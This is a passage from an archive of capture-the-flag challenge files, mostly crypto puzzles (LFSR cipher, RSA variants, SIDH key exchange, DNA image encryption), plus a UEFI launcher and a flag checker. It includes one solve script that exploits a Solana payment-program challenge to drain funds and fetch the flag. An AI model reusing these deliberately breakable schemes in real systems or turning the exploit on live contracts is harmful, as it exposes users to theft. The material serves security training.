sum(c*pow(x,i,p) for i,c in enumerate(key[128:]))]
shares.extend([(y[j]+(x in drunk)*random.randint(0,p-1))%p for j in range(2)])
print(f'share: {shares}')
print(f'ct: {AES.new(hashlib.md5(key).digest(), AES.MODE_ECB).encrypt(FLAG).hex()}')
"""
share: [209, 394, 389, 194, 513, 419, 261, 336, 291, 164, 440, 405, 451, 100, 289, 332, 397, 439, 204, 411, 295, 476, 474, 491, 424, 69, 222, 186, 137, 344, 57, 186, 355, 18, 426, 435, 461, 222, 133, 110, 452, 431, 195, 254, 245, 306, 440, 372, 335, 515, 453, 490, 242, 399, 1, 294, 145, 238, 99, 80, 271, 445, 2, 482, 398, 43, 135, 392, 337, 432, 153, 518, 235, 159, 366, 483, 244, 349, 475, 270, 3, 239, 185, 481, 326, 202, 128, 512, 111, 357, 273, 116, 391, 115, 221, 376, 448, 443, 398, 21, 253, 373, 504, 233, 255, 317, 132, 187, 336, 139, 148, 513, 167, 329, 220, 62, 492, 250, 403, 56, 390, 489, 90, 185, 100, 462, 241, 308, 416, 515, 256, 265, 242, 423, 317, 57, 425, 171, 359, 414, 14, 207, 18, 6, 316, 126, 469, 150, 477, 73, 130, 374, 37, 232, 185, 387, 356, 418, 67, 267, 287, 370, 334, 302, 238, 91, 515, 403, 459, 394, 472, 288, 280, 168, 403, 390, 72, 149, 491, 142, 144, 66, 505, 62, 447, 270, 47, 213, 380, 384, 423, 433, 466, 483, 438, 390, 44, 451, 168, 470, 168, 79, 459, 452, 517, 53, 515, 141, 428, 414, 146, 418, 261, 136, 325, 514, 196, 345, 98, 474, 468, 268, 315, 163, 324, 262, 147, 204, 100, 169, 495, 414, 156, 377, 482, 45, 105, 239, 347, 107, 235, 482, 299, 60, 355, 455, 276, 266, 365, 14, 381, 337, 334, 402, 386, 344, 469, 375, 294, 17, 170, 40, 155, 216, 424, 2, 431, 29, 165, 179, 374, 135, 347, 346, 437, 466, 6, 497, 440, 309, 200, 226, 24, 416, 188, 67, 242, 227, 387, 374, 478, 185, 80, 367, 145, 263, 156, 52, 234, 196, 465, 434, 325, 154, 436, 310, 41, 13, 223, 166, 282, 142, 383, 393, 502, 334, 21, 83, 128, 35, 68, 184, 110, 163, 362, 353, 513, 382, 57, 474, 47, 492, 442, 415, 403, 282, 171, 94, 374, 470, 56, 476, 296, 321, 293, 416, 185, 249, 214, 177, 152, 383, 225, 397, 496, 273, 174, 112, 132, 120, 329, 445, 171, 317, 420, 498, 151, 458, 187, 103, 478, 40, 249, 432, 370, 407, 317, 306, 328, 90, 416, 501, 131, 489, 416, 396, 256, 396, 226, 30, 448, 366, 317, 35, 288, 264, 14, 297, 94, 116, 338, 435, 505, 106, 465, 131, 378, 144, 461, 272, 297, 506, 130, 139, 463, 472, 29, 355, 186, 418, 65, 80, 520, 305, 19, 251, 147, 165, 165, 467, 148, 450, 227, 472, 113, 55, 35, 384, 373, 13, 332, 328, 499, 425, 276, 374, 38, 338, 177, 234, 450, 328, 443, 203, 133, 195, 15, 56, 369, 384, 420, 181, 489, 329, 501, 305, 122, 209, 83, 323, 171, 315, 83, 310, 56, 480, 29, 129, 180, 82, 405, 300, 495, 517, 154, 117, 437, 509, 454, 410, 220, 150, 428, 30, 374, 424, 20, 42, 340, 159, 93, 104, 489, 422, 104, 403, 118, 30, 427, 504, 183, 74, 148, 432, 148, 351, 504, 6, 453, 103, 59, 137, 366, 9, 232, 255, 500, 300, 73, 5, 442, 364, 169, 9, 346, 241, 23, 13, 278, 388, 247, 422, 50, 139, 486, 397, 186, 502, 204, 223, 482, 323, 210, 70, 55, 156, 77, 389, 235, 116, 504, 370, 150, 490, 201, 459, 272, 447, 433, 119, 351, 10, 99, 73, 292, 442, 98, 140, 301, 413, 476, 428, 95, 288, 75, 44, 127, 408, 99, 78, 54, 247, 9, 148, 472, 176, 468, 112, 479, 117, 14, 428, 375, 321, 473, 460, 86, 436, 164, 114, 342, 216, 307, 117, 221, 28, 381, 404, 95, 372, 310, 286, 124, 405, 479, 290, 272, 493, 147, 294, 97, 355, 409, 161, 309, 412, 7, 209, 373, 464, 216, 248, 131, 62, 38, 467, 431, 399, 492, 243, 483, 196, 34, 32, 53, 119, 433, 357, 221, 32, 456, 55, 18, 438, 486, 101, 362, 46, 135, 13, 360, 49, 144, 372, 479, 496, 95, 266, 136, 349, 191, 376, 143, 389, 117, 81, 433, 386, 101, 404, 323, 88, 104, 249, 477, 370, 430, 402, 219, 102, 254, 393, 403, 482, 245, 16, 436, 109, 175, 405, 341, 281, 353, 20, 389, 371, 60, 62, 320, 234, 505, 367, 451, 8, 413, 108, 409, 323, 220, 294, 98, 439, 464, 77, 351, 86, 415, 92, 368, 29, 426, 318, 243, 405, 186, 241, 245, 129, 145, 146, 441, 514, 57, 146, 2, 182, 37, 75, 2, 206, 366, 282, 107, 486, 286, 285, 326, 448, 22, 358, 506, 280, 265, 399, 267, 139, 458, 75, 254, 206, 449, 43, 99, 327, 12, 209, 106, 293, 349, 143, 295, 100, 519, 127, 251, 55, 143, 472, 464, 378, 362, 390, 63, 54, 227, 225, 354, 321, 442, 339, 390, 139, 347, 481, 390, 341, 511, 394, 394, 150, 119, 108, 125, 59, 223, 337, 188, 174, 278, 126, 375, 472, 357, 225, 510, 496, 382, 503, 234, 117, 264, 322, 44, 253, 153, 505, 364, 476, 336, 347, 90, 448, 387, 183, 482, 45, 177, 416, 136, 67, 336, 223, 504, 0, 379, 41, 504, 453, 365, 152, 216, 446, 502, 199, 277, 67, 176, 43, 303, 353, 212, 469, 301, 210, 96, 156, 404, 282, 446, 271, 214, 400, 457, 120, 364, 406, 79, 108, 194, 6, 375, 18, 437, 52, 361, 501, 3, 220, 150, 498, 241, 127, 414, 452, 121, 304, 118, 257, 33, 214, 177, 54, 177, 129, 519, 455, 395, 211, 122, 258, 209, 197, 321, 177, 57, 82, 241, 517, 429, 315, 106, 304, 446, 355, 113, 285, 95, 355, 508, 104, 265, 297, 73, 206, 180, 256, 363, 316, 15, 370, 461, 322, 112, 77, 395, 307, 484, 255, 490, 269, 130, 188, 462, 62, 356, 171, 180, 127, 41, 203, 264, 497, 432, 19, 445, 247, 279, 195, 480, 515, 273, 472, 481, 419, 65, 511, 81, 372, 137, 114, 181, 356, 496, 431, 115, 99, 192, 455, 274, 358, 103, 102, 18, 201, 430, 133, 43, 201, 109, 474, 491, 52, 492, 441, 446, 449, 236, 122, 200, 132, 403, 113, 75, 262, 312, 510, 421, 183, 173, 308]
ct: 251fda75781d082844233d7b5391d1cf97de6dc57e0035ce02db0960ec664552
""" | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2025/crypto/n1fnv1/server.py | ctfs/N1CTF/2025/crypto/n1fnv1/server.py | import os, secrets, signal
def hash(params, msg):
a, b, c, m, x = params
for byte in msg:
for bit in f'{byte:08b}':
x = ((x * a + b + int(bit)) ^ c) % m
return x
nbits = 128
rand = lambda: secrets.randbits(nbits)
print('⚙️', params := (rand() | 1, rand(), rand(), 2 ** nbits, rand()))
print('🎯', target := rand())
signal.alarm(900)
message = bytes.fromhex(input('💬 '))
assert hash(params, message) == target, '❌'
print('🚩', os.getenv("FLAG"))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2025/crypto/n1fsr/task.py | ctfs/N1CTF/2025/crypto/n1fsr/task.py | import secrets
FLAG = b"n1ctf{REDACTED}"
Ns = [14, 32, 24, 48, 8, 8, 8, 8, 10]
MASKS = [0x7a7, 0xcfdf1bcf, 0xb9ca5b, 0x83c7efefc783, 0x27, 0x65, 0x63, 0x2b, 0x243]
Filters = [
237861018962211057901759878514586912107,
69474900172976843852504521249820447513188207961992185137442753975916133181030,
28448620439946980695145546319125628439828158154718599921182092785732019632576,
16097126481514198260930631821805544393127389525416543962503447728744965087216,
7283664602255916497455724627182983825601943018950061893835110648753003906240,
55629484047984633706625341811769132818865100775829362141410613259552042519543,
4239659866847353140850509664106411172999885587987448627237497059999417835603,
85329496204666590697103243138676879057056393527749323760467772833635713704461
]
extract = lambda x,b: sum(((x >> p) & 1) << i for i, p in enumerate(b))
blur = lambda x,i: (Filters[i] >> x) & 1
class LFSR:
def __init__(self, n, key, mask):
self.n = n
self.state = key & ((1 << n) - 1)
self.mask = mask
def __call__(self):
b = self.state & 1
self.state = (self.state >> 1) | (
((self.state & self.mask).bit_count() & 1) << (self.n - 1)
)
return b
class Cipher:
def __init__(self, key):
self.lfsrs = []
for i in range(len(Ns)):
self.lfsrs.append(LFSR(Ns[i], key, MASKS[i]))
key >>= Ns[i]
def bit(self):
x = blur(extract(self.lfsrs[0].state, [5, 9, 1, 0, 4, 11, 13]), 0)
y = self.lfsrs[1].state & 1
z = blur(extract(self.lfsrs[2].state, [20, 2, 16, 11, 1, 23, 22, 8]), 1)
w = blur(extract(self.lfsrs[3].state, [1, 46, 21, 7, 43, 0, 27, 39]), 2)
v = blur(extract(self.lfsrs[4].state, [1, 3, 7, 4, 5, 0, 6, 2]), 3)
u = blur(self.lfsrs[5].state, 4) ^ blur(self.lfsrs[6].state, 5) ^ blur(self.lfsrs[7].state, 6)
t = blur(extract(self.lfsrs[8].state, [5, 8, 9, 3, 1, 0, 2, 4]), 7)
for lfsr in self.lfsrs: lfsr()
return x ^ y ^ z ^ w ^ v ^ u ^ t
def stream(self):
while True:
b = 0
for i in reversed(range(8)):
b |= self.bit() << i
yield b
def encrypt(self, pt: bytes):
return bytes([x ^ y for x, y in zip(pt, self.stream())])
key = secrets.randbits(160)
cipher = Cipher(key)
tk = secrets.token_bytes(15)
__import__("signal").alarm(5)
print("ct:", cipher.encrypt(b"\x00"*80+tk).hex())
if input("Gimme Token: ") == tk.hex():
print("Here is your flag:", FLAG) | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2022/blockchain/Utility_Payment_Service/solve/solve.py | ctfs/N1CTF/2022/blockchain/Utility_Payment_Service/solve/solve.py | import os
from os.path import exists
so_file = "utility_payment_solve.so"
if not exists(so_file):
os.system('make')
from pwn import args, remote
from solana.publickey import PublicKey
from solana.system_program import SYS_PROGRAM_ID
host = args.HOST or 'localhost'
port = args.PORT or 5000
r = remote(host, port)
solve = open(so_file, 'rb').read()
r.recvuntil(b'program len: ')
r.sendline(str(len(solve)).encode())
r.send(solve)
r.readuntil(b"program pubkey: ")
program_pubkey_str = r.readline(keepends=False).decode()
program_pubkey = PublicKey(program_pubkey_str)
r.readuntil(b"solve pubkey: ")
solve_pubkey_str = r.readline(keepends=False).decode()
solve_pubkey = PublicKey(solve_pubkey_str)
r.readuntil(b"user pubkey: ")
user_pubkey_str = r.readline(keepends=False).decode()
user_pubkey = PublicKey(user_pubkey_str)
print()
print("program: " + program_pubkey_str)
print("solve : " + solve_pubkey_str)
print("user : " + user_pubkey_str)
print()
# print("program: {program_pubkey}\nsolve: {solve_pubkey}\nuser: {user_pubkey}")
reserve, _ = PublicKey.find_program_address([b'RESERVE'], program_pubkey)
escrow, _ = PublicKey.find_program_address([b'ESCROW', bytes(user_pubkey)], program_pubkey)
r.recvuntil(b'user lamport before: ')
lamports_str = r.readline(keepends=False).decode()
print("user lamport before = " + lamports_str)
r.sendline(b'5')
r.sendline(b'x ' + program_pubkey.to_base58())
r.sendline(b'ws ' + user_pubkey.to_base58())
r.sendline(b'w ' + reserve.to_base58())
r.sendline(b'w ' + escrow.to_base58())
r.sendline(b'x ' + SYS_PROGRAM_ID.to_base58())
r.sendline(b'0')
r.recvuntil(b'user lamport after: ')
lamports_str = r.readline(keepends=False).decode()
print("user lamport after = " + lamports_str + "\n")
r.recvuntil(b'Flag: ')
print("Flag: ")
r.stream()
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2022/pwn/babyuefi/run.py | ctfs/N1CTF/2022/pwn/babyuefi/run.py | import os, subprocess
import random
def main():
try:
os.system("rm -f OVMF.fd")
os.system("cp OVMF.fd.bak OVMF.fd")
ret = subprocess.call([
"qemu-system-x86_64",
"-m", str(256+random.randint(0, 512)),
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
"-nographic"
])
print("Return:", ret)
except Exception as e:
print(e)
print("Error!")
finally:
print("Done.")
if __name__ == "__main__":
main() | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2022/rev/flag_compiler/check.py | ctfs/N1CTF/2022/rev/flag_compiler/check.py | ans=input("flag: n1ctf{?}\ninput ? here: ").strip()
assert(len(ans)>=39 and len(ans)<=40 and ';' in ans)
with open('fin.cpp','r') as f:
r=f.read().replace('$FLAG$',','.join(map(str,[*__import__('struct').unpack("I"*10,ans.encode().ljust(40,b'\x00'))])))
with open('fin_out.cpp','w') as f:
f.write(r)
print("start checking... be patient")
print(("flag: n1ctf{%s}"%ans) if __import__('os').system('g++ -s -Oz -ftemplate-depth=16384 fin_out.cpp -o a.out;./a.out')==256 else "Wrong")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2022/crypto/brand_new_checkin/brand_new_checkin.py | ctfs/N1CTF/2022/crypto/brand_new_checkin/brand_new_checkin.py | from Crypto.Util.number import *
from random import getrandbits
from secret import flag
def keygen():
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p-1)*(q-1)
while True:
a = getrandbits(1024)
b = phi + 1 - a
s = getrandbits(1024)
t = -s*a * inverse(b, phi) % phi
if GCD(b, phi) == 1:
break
return (s, t, n), (a, b, n)
def enc(m, k):
s, t, n = k
r = getrandbits(1024)
return m * pow(r, s, n) % n, m * pow(r, t, n) % n
pubkey, privkey = keygen()
flag = pow(bytes_to_long(flag), 0x10001, pubkey[2])
c = []
for m in long_to_bytes(flag):
c1, c2 = enc(m, pubkey)
c.append((c1, c2))
print(pubkey)
print(c)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/N1CTF/2022/crypto/ezdlp/ezdlp.py | ctfs/N1CTF/2022/crypto/ezdlp/ezdlp.py | from Crypto.Util.number import *
from math import prod
from secret import flag
def keygen(pbits,kbits,k):
p = getPrime(pbits)
x = [getPrime(kbits + 1) for i in range(k)]
y = prod(x)
while 1:
r = getPrime(pbits - kbits * k)
q = 2 * y * r + 1
if isPrime(q):
return p*q, (p, q, r, x)
def encrypt(key, message):
return pow(0x10001, message, key)
key = keygen(512, 24, 20)
flag = bytes_to_long(flag)
messages = [getPrime(flag.bit_length()) for i in range(47)] + [flag]
enc = [encrypt(key[0], message) for message in messages]
print(messages[:-1])
print(enc)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TheCyberJawaraInternational/2024/crypto/exchange_1/server.py | ctfs/TheCyberJawaraInternational/2024/crypto/exchange_1/server.py | import random, os
from sage.all import GF, EllipticCurve
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import k, secret_message
assert k < 2**80
class SIDHKeyExchange:
def __init__(self, ea, eb, Px, Py, Qx, Qy):
self.ea = ea
self.eb = eb
self.p = 2**ea * 3**eb - 1
self.F = GF(self.p**2, modulus=[1, 0, 1], name="i")
self.E0 = EllipticCurve(self.F, [1,0])
self.n = self.p + 1
self.P = self.E0(Px, Py)
self.Q = self.E0(Qx, Qy)
def gen_public_key(self, P, Q, P_other, Q_other, k):
S = P + k * Q
phi = self.E0.isogeny(S, algorithm="factored")
phi_P, phi_Q = phi(P_other), phi(Q_other)
E = phi.codomain()
return E, phi_P, phi_Q
def get_secret(self, E, phi_P, phi_Q, k):
S = phi_P + k * phi_Q
phi = E.isogeny(S, algorithm="factored")
return phi.codomain().j_invariant()
class Participant:
def __init__(self, sidh: SIDHKeyExchange, k=None):
self.sidh = sidh
self.k = k if k else random.randint(0, sidh.n - 1)
self.public_key = None
self.P = None
self.Q = None
self.P_other = None
self.Q_other = None
self.shared_secret = None
def generate_public_key(self):
self.public_key = self.sidh.gen_public_key(self.P, self.Q, self.P_other, self.Q_other, self.k)
def compute_shared_secret(self, other_public_key):
E, phi_P, phi_Q = other_public_key
self.shared_secret = self.sidh.get_secret(E, phi_P, phi_Q, self.k)
def encrypt_message(self, message):
key = SHA256.new(data=str(self.shared_secret).encode()).digest()
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(message, 16))
return iv.hex(), ct.hex()
class Server(Participant):
def __init__(self, sidh: SIDHKeyExchange, k=None):
super().__init__(sidh, k)
self.P = (sidh.n // 2**sidh.ea) * sidh.P
self.Q = (sidh.n // 2**sidh.ea) * sidh.Q
self.P_other = (sidh.n // 3**sidh.eb) * sidh.P
self.Q_other = (sidh.n // 3**sidh.eb) * sidh.Q
# params
ea, eb = 216, 137
Px, Py = "19629002260899253283957946747466897522475660429050952494632348990720012643804186952501717429174343892395039800185878841093698753933*i + 21000588886550169078507395472843540543638380042132530088238158553508923414317518502680121549885061095065934470295106985227640283273", "13560249428793295825208984866590149450862696800181907880173464654955696194787095135464283707858591438577968786063706580965498135934*i + 21227525746542853125364742330159420698250203945016980815891234503309307307571119288025866772923240030378597416196914652205098993851"
Qx, Qy = "20653307324266777301745266224745462280019066788351952077152874786877832545975431386178311539432979313717724415603792104905464166613*i + 23543412524221765729252528306934564386341553623491347201198996167100895162007001691940922919130176638905146054229833255452149631903", "20303099683704256985792197307242241000101523982229217515269602102967877919445169730337445309155396940855065338113695974349986136276*i + 18114250244485018537853099412437907124848306019791525046747068726333108423955919092536186121751860512435214970727124588973589483061"
sidh = SIDHKeyExchange(ea, eb, Px, Py, Qx, Qy)
server = Server(sidh, k)
server.generate_public_key()
E, phi_P, phi_Q = server.public_key
print("Server public key")
print("E")
print(f"Ea4: {E.a4()}")
print(f"Ea6: {E.a6()}")
print("phi_P")
print(f"x: {phi_P[0]}")
print(f"y: {phi_P[1]}")
print("phi_Q")
print(f"x: {phi_Q[0]}")
print(f"y: {phi_Q[1]}")
print()
print("Input your public key")
print("Input elliptic curve")
Ea4 = input("Ea4: ")
Ea6 = input("Ea6: ")
E = EllipticCurve(sidh.F, [Ea4, Ea6])
print("Input phi_P")
x = input("x: ")
y = input("y: ")
phi_P = E(x, y)
print("Input phi_Q")
x = input("x: ")
y = input("y: ")
phi_Q = E(x, y)
other_public_key = (E, phi_P, phi_Q)
server.compute_shared_secret(other_public_key)
iv, ct = server.encrypt_message(secret_message)
print("Encrypted message")
print(f"iv: {iv}")
print(f"ct: {ct}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TheCyberJawaraInternational/2024/crypto/exchange_2/server.py | ctfs/TheCyberJawaraInternational/2024/crypto/exchange_2/server.py | import random, os
from sage.all import GF, EllipticCurve
from Crypto.Hash import SHA256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from secret import k, secret_message
assert k < 2**80
class SIDHKeyExchange:
def __init__(self, ea, eb, Px, Py, Qx, Qy):
self.ea = ea
self.eb = eb
self.p = 2**ea * 3**eb - 1
self.F = GF(self.p**2, modulus=[1, 0, 1], name="i")
self.E0 = EllipticCurve(self.F, [1,0])
self.n = self.p + 1
self.P = self.E0(Px, Py)
self.Q = self.E0(Qx, Qy)
def gen_public_key(self, P, Q, P_other, Q_other, k):
S = P + k * Q
phi = self.E0.isogeny(S, algorithm="factored")
phi_P, phi_Q = phi(P_other), phi(Q_other)
E = phi.codomain()
return E, phi_P, phi_Q
def get_secret(self, E, phi_P, phi_Q, k):
S = phi_P + k * phi_Q
phi = E.isogeny(S, algorithm="factored")
return phi.codomain().j_invariant()
class Participant:
def __init__(self, sidh: SIDHKeyExchange, k=None):
self.sidh = sidh
self.k = k if k else random.randint(0, sidh.n - 1)
self.public_key = None
self.P = None
self.Q = None
self.P_other = None
self.Q_other = None
self.shared_secret = None
def generate_public_key(self):
self.public_key = self.sidh.gen_public_key(self.P, self.Q, self.P_other, self.Q_other, self.k)
def compute_shared_secret(self, other_public_key):
E, phi_P, phi_Q = other_public_key
self.shared_secret = self.sidh.get_secret(E, phi_P, phi_Q, self.k)
def encrypt_message(self, message):
key = SHA256.new(data=str(self.shared_secret).encode()).digest()
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ct = cipher.encrypt(pad(message, 16))
return iv.hex(), ct.hex()
class Server(Participant):
def __init__(self, sidh: SIDHKeyExchange, k=None):
super().__init__(sidh, k)
self.P = (sidh.n // 2**sidh.ea) * sidh.P
self.Q = (sidh.n // 2**sidh.ea) * sidh.Q
self.P_other = (sidh.n // 3**sidh.eb) * sidh.P
self.Q_other = (sidh.n // 3**sidh.eb) * sidh.Q
# params
ea, eb = 216, 137
Px, Py = "19629002260899253283957946747466897522475660429050952494632348990720012643804186952501717429174343892395039800185878841093698753933*i + 21000588886550169078507395472843540543638380042132530088238158553508923414317518502680121549885061095065934470295106985227640283273", "13560249428793295825208984866590149450862696800181907880173464654955696194787095135464283707858591438577968786063706580965498135934*i + 21227525746542853125364742330159420698250203945016980815891234503309307307571119288025866772923240030378597416196914652205098993851"
Qx, Qy = "20653307324266777301745266224745462280019066788351952077152874786877832545975431386178311539432979313717724415603792104905464166613*i + 23543412524221765729252528306934564386341553623491347201198996167100895162007001691940922919130176638905146054229833255452149631903", "20303099683704256985792197307242241000101523982229217515269602102967877919445169730337445309155396940855065338113695974349986136276*i + 18114250244485018537853099412437907124848306019791525046747068726333108423955919092536186121751860512435214970727124588973589483061"
sidh = SIDHKeyExchange(ea, eb, Px, Py, Qx, Qy)
server = Server(sidh, k)
server.generate_public_key()
E, phi_P, phi_Q = server.public_key
print("Server public key")
print("E")
print(f"Ea4: {E.a4()}")
print(f"Ea6: {E.a6()}")
print("phi_P")
print(f"x: {phi_P[0]}")
print(f"y: {phi_P[1]}")
print("phi_Q")
print(f"x: {phi_Q[0]}")
print(f"y: {phi_Q[1]}")
print()
print("Input your public key")
print("Input elliptic curve")
Ea4 = input("Ea4: ")
Ea6 = input("Ea6: ")
E = EllipticCurve(sidh.F, [Ea4, Ea6])
print("Input phi_P")
x = input("x: ")
y = input("y: ")
phi_P = E(x, y)
print("Input phi_Q")
x = input("x: ")
y = input("y: ")
phi_Q = E(x, y)
other_public_key = (E, phi_P, phi_Q)
server.compute_shared_secret(other_public_key)
iv, ct = server.encrypt_message(secret_message)
print("Encrypted message")
print(f"iv: {iv}")
print(f"ct: {ct}")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/TheCyberJawaraInternational/2024/crypto/Chemistry_Lab/chall.py | ctfs/TheCyberJawaraInternational/2024/crypto/Chemistry_Lab/chall.py | import numpy as np
from random import *
from PIL import Image
dna_rules = {
1: {'00': 'A', '11': 'T', '01': 'G', '10': 'C'},
2: {'00': 'A', '11': 'T', '10': 'G', '01': 'C'},
3: {'01': 'A', '10': 'T', '00': 'G', '11': 'C'},
4: {'01': 'A', '10': 'T', '11': 'G', '00': 'C'},
5: {'10': 'A', '01': 'T', '00': 'G', '11': 'C'},
6: {'10': 'A', '01': 'T', '11': 'G', '00': 'C'},
7: {'11': 'A', '00': 'T', '01': 'G', '10': 'C'},
8: {'11': 'A', '00': 'T', '10': 'G', '01': 'C'}
}
def dna_encode_matrix(P, rule_number):
rule = dna_rules[rule_number]
dna_encoded_rows = []
for row in P:
dna_row = []
for num in row:
binary_str = f'{num:08b}'
for i in range(0, 8, 2):
bit_pair = binary_str[i:i+2]
dna_row.append(rule[bit_pair])
dna_encoded_rows.append(dna_row)
return np.array(dna_encoded_rows)
def dna_decode_matrix(dna_matrix, rule_number):
rule = dna_rules[rule_number]
rev_rule = {v: k for k, v in rule.items()}
decoded_rows = []
for row in dna_matrix:
bit_pairs = [rev_rule.get(base, '00') for base in row]
num_bits = ''.join(bit_pairs)
num_bytes = len(num_bits) // 8
decoded_row = [int(num_bits[i*8:(i+1)*8], 2) for i in range(num_bytes)]
decoded_rows.append(decoded_row)
return np.array(decoded_rows, dtype=np.uint8)
def xor_matrices(matrix1, matrix2, rule_number):
rule = dna_rules[rule_number]
rev_rule = {v: k for k, v in rule.items()}
xor_rows = []
for row1, row2 in zip(matrix1, matrix2):
xor_row = []
for b1, b2 in zip(row1, row2):
bits1 = rev_rule[b1]
bits2 = rev_rule[b2]
xor_bits = format(int(bits1, 2) ^ int(bits2, 2), '02b')
xor_row.append(rule[xor_bits])
xor_rows.append(xor_row)
return np.array(xor_rows)
def scramble_matrix(P, lx, ly):
return P[lx, :][:, ly]
def generate_matrix(x, y):
return np.frombuffer(randbytes(x * y), dtype=np.uint8).reshape((x, y))
def generate_sequence(n):
l = list(range(n))
for i in range(n):
j = randint(i, n-1)
l[i], l[j] = l[j], l[i]
return np.array(l)
def adjust_sequences(seq, new_length):
filtered_seq = seq[seq < new_length]
repeats = -(-new_length // len(filtered_seq))
return np.tile(filtered_seq, repeats)[:new_length]
def parse_user_input(user_input):
try:
rows = user_input.strip().split(';')
matrix = []
num_columns = None
for row in rows:
elements = list(map(int, row.strip().split(',')))
if not all(0 <= elem <= 255 for elem in elements):
raise ValueError
if num_columns is None:
num_columns = len(elements)
elif len(elements) != num_columns:
raise ValueError
matrix.append(elements)
return np.array(matrix, dtype=np.uint8)
except:
raise ValueError("Invalid input.")
if __name__ == "__main__":
img = Image.open('flag.png').convert('L')
img_data = np.array(img)
width, height = img.size
rule_number = 3
dna_encoded_flag = dna_encode_matrix(img_data, rule_number)
formula = generate_matrix(height,width)
dna_encoded_formula = dna_encode_matrix(formula, rule_number)
lx, ly = generate_sequence(height), generate_sequence(4*width)
total_bases = dna_encoded_formula.size
print("Welcome to the Chemistry Lab!\nToday we will learn about DNA Encryption for Images.\n")
for _ in range(5):
print("Which experiment would you like to try?\n1. Get encrypted formula\n2. Get encrypted input\n3. Get encrypted flag")
experiment = input()
if experiment == "1":
scrambled_formula = scramble_matrix(dna_encoded_formula, lx, ly)
keystream = dna_encode_matrix(generate_matrix(height,width), 7).flatten()
key_matrix = keystream.reshape(dna_encoded_formula.shape)
formula_enc = xor_matrices(scrambled_formula, key_matrix, rule_number)
decoded_formula_enc = dna_decode_matrix(formula_enc, 4)
encrypted_formula = ';'.join(','.join(map(str, row)) for row in decoded_formula_enc)
print("Encrypted formula:")
print(encrypted_formula)
if experiment == "2":
user_input = input(f"What do you want to encrypt? ")
try:
user_matrix = parse_user_input(user_input)
dna_encoded_user = dna_encode_matrix(user_matrix, rule_number)
total_bases_user = dna_encoded_user.size
repeats_key = -(-total_bases_user // total_bases)
keystream = dna_encode_matrix(generate_matrix(height,width), 7).flatten()
extended_keystream = np.tile(keystream, repeats_key)[:total_bases_user]
extended_key_matrix = extended_keystream.reshape(dna_encoded_user.shape)
data_rows, data_cols = dna_encoded_user.shape
lx_user = adjust_sequences(lx, data_rows)
ly_user = adjust_sequences(ly, data_cols)
scrambled_user = scramble_matrix(dna_encoded_user, lx_user, ly_user)
result_dna = xor_matrices(scrambled_user, extended_key_matrix, rule_number)
result_decoded = dna_decode_matrix(result_dna, 4)
encrypted_input = ';'.join(','.join(map(str, row)) for row in result_decoded)
print("Encrypted input:")
print(encrypted_input)
except ValueError:
print("Invalid input.")
continue
if experiment == "3":
plaintext_input = input("What is the plaintext of the Formula? ")
try:
plaintext_matrix = parse_user_input(plaintext_input)
if np.array_equal(plaintext_matrix, formula):
print("Congrats, here is the pixel data of flag.png encrypted with the same set of secrets used to encrypt Formula")
scrambled_flag = scramble_matrix(dna_encoded_flag, lx, ly)
flag_enc = xor_matrices(scrambled_flag, key_matrix, rule_number)
decoded_flag_enc = dna_decode_matrix(flag_enc, 4)
encrypted_flag = ';'.join(','.join(map(str, row)) for row in decoded_flag_enc)
print(encrypted_flag)
else:
print("Incorrect plaintext.")
except ValueError:
print("Invalid input.")
print("Ding Ding Ding... The bell is ringing. Time for the next class!")
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
